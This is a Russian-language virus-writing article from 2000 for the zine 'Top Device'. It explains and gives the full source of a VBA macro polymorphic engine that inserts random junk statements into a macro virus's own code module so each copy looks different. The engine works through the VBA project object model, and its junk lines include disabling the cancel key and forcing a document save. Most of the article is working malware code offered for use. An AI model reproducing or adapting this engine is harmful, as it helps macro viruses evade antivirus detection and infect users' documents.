09.05.2000 DickLip$ RANDOM GARBAGE MACRO POLYM0PHIC [Ultras/Matrix]

   Решил  я  написать  макро  полиморфик  который  бы раскидывал мусор по
вирусу..  Этот полиморфик отличается от ZSZPE тем, что он не шифрует тело
и расставляет команды в разные строки а не через одну.

мусорные команды очень просты типа:

-вирусный код -
For ? = 1 To 1  'команда мусор
-вирусный код -
Next ?          'команда мусор

где ? - рандомная буква

Эти команды никак не влияет на работу вирус...

Морфик использует мусор:

- On Error Resume Next
- ' Rem 4568436574 (random)
- GoTo EE6DC0DA (random)
  EE6DC0DA:
- For U = 1 To 1
  Next U
- Randomize
- A = "U" (random)
- Application.ActiveWindow.Activate
- ActiveDocument.Save
- If IL = 26 Then SX = 28 (random)
- Application.EnableCancelKey = 0

(random) - цифры или буквы все время по разному генерируется....


Sub DLRGMP()

' DickLip$ RANDOM GARBAGE MACRO POLYM0PHIC by ULTRAS[MATRiX]

On Error Resume Next

Randomize

num = Int(Rnd * 11) + 1

numz = Int(Rnd() * 11 + 1)

For Gen = 1 To numz

Strz = Application.VBE.ActiveVBProject.VBComponents("DickLips").codemodule.CountOfLines

Ral = Int(Rnd() * Strz + 1)

rnd10 = Int(Rnd * 10)

MiNu2 = Int(Rnd() * 9999 + 1)

For MuGe = 1 To numz

garbage = Application.UserAddress & Application.UserName & Application.UserInitials

jumpz = Chr(Int(Rnd * 5) + 65) & Hex(CStr(Oct(rnd10 ^ 4) & CStr(Day(Date)) & CStr(Minute(Time)) & CStr(Hour(Time))))

If num = 1 Then zom$ = "'Rem " & garbage

If num = 2 Then zom$ = "Goto " & jumpz & Chr(13) & "' " & jumpz & ":"

If num = 3 Then zom$ = "" & Chr(Int(Rnd * 5) + 65) & " = """ & Chr(Int(Rnd * 5) + 65) & """"

If num = 4 Then zom$ = "Randomize"

If num = 5 Then zom$ = "For " & Chr(rnd10 + 65) & " = 1 To 1" & Chr(13) & "Next " & Chr(rnd10 + 65)

If num = 6 Then zom$ = "Application.ActiveWindow.Activate"

If num = 7 Then zom$ = "ActiveDocument.Save"

If num = 8 Then zom$ = "If " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45)) & "Then " & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & " = " & CStr(Int(Rnd * 45))

If num = 9 Then zom$ = "Application.EnableCancelKey = 0"

If num = 10 Then zom$ = "On Error Resume Next"

Next MuGe

Application.VBE.ActiveVBProject.VBComponents("DickLips").codemodule.InsertLines Ral, "" & zom$

Next Gen

End Sub

 Статья для журнала Top Device